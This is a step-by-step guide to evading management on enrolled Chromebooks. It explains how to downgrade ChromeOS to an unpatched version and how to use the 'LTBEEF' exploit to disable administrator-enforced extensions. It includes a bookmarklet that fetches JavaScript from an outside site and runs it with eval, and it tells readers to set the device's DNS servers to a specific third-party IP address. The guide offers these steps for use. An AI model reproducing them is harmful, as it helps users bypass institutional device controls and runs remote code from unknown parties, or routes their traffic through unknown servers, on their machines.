1. DOWNGRADE CHROME OS

Downgrading can be used for several exploits, to get to a version that doesn't have patches for certain exploits, such as LTBEEF.

This is a built-in feature of ChromeOS.

You'll need a USB thumb drive with at least 4GB of storage (some boards have smaller or bigger images, so to have a "beefy" USB, I recommend 16GB) and a personal computer with access to downloading extensions.

1. Navigate to chrome://version on the chromebook you wish to downgrade and check for your board under "Platform" (it's the text after stable-channel).
   
2. Navigate to chrome100.dev, press Ctrl + F and type in your board.
3. Find and download the chrome version you want to your personal computer.
4. Install the Chromebook Recovery Utility onto your personal computer.
5. Open the extension, and click on the settings button in the top right hand corner, click "use local image".
6. Select the recovery image you downloaded from chrome100.
7. Plug in the USB you wish to use, and follow the prompts on the screen.
8. On your chromebook, press Esc + Reload + Power and follow the prompts.
9. On the checking for updates screen, press Ctrl + Shift + E to skip the "checking for updates" screen.

2. LTBEEF

Notice: This exploit has been patched in later versions of 102, and 106+. LTBEEF is an exploit which abuses API endpoints within the Google Chrome Web Store.

There are several versions of this exploit you can use. Here are the 2 most common options:

A. BOOKMARKLETS

1. Bookmark the script below:

   fetch('https://compactcow.com/ltbeef/exploit.js').then(data=>{data.text().then(text=>{eval(text)})});

2. Navigate to chrome.google.com/webstorex and click on that bookmark.
3. Flip the switches on the extensions you want to disable. Simple!

B. DNS SERVERS

By changing your DNS server, you can use LTBEEF, even if bookmarklets are blocked.

1. Go to Settings > Network > Wi-Fi > Network, and click on "Custom Name Servers".
   
2. Set every box inside that input section to the following IP: 158.101.114.159
3. Navigate to chrome.google.com/webstorex.
4. Flip the switches on the extensions you want to disable.
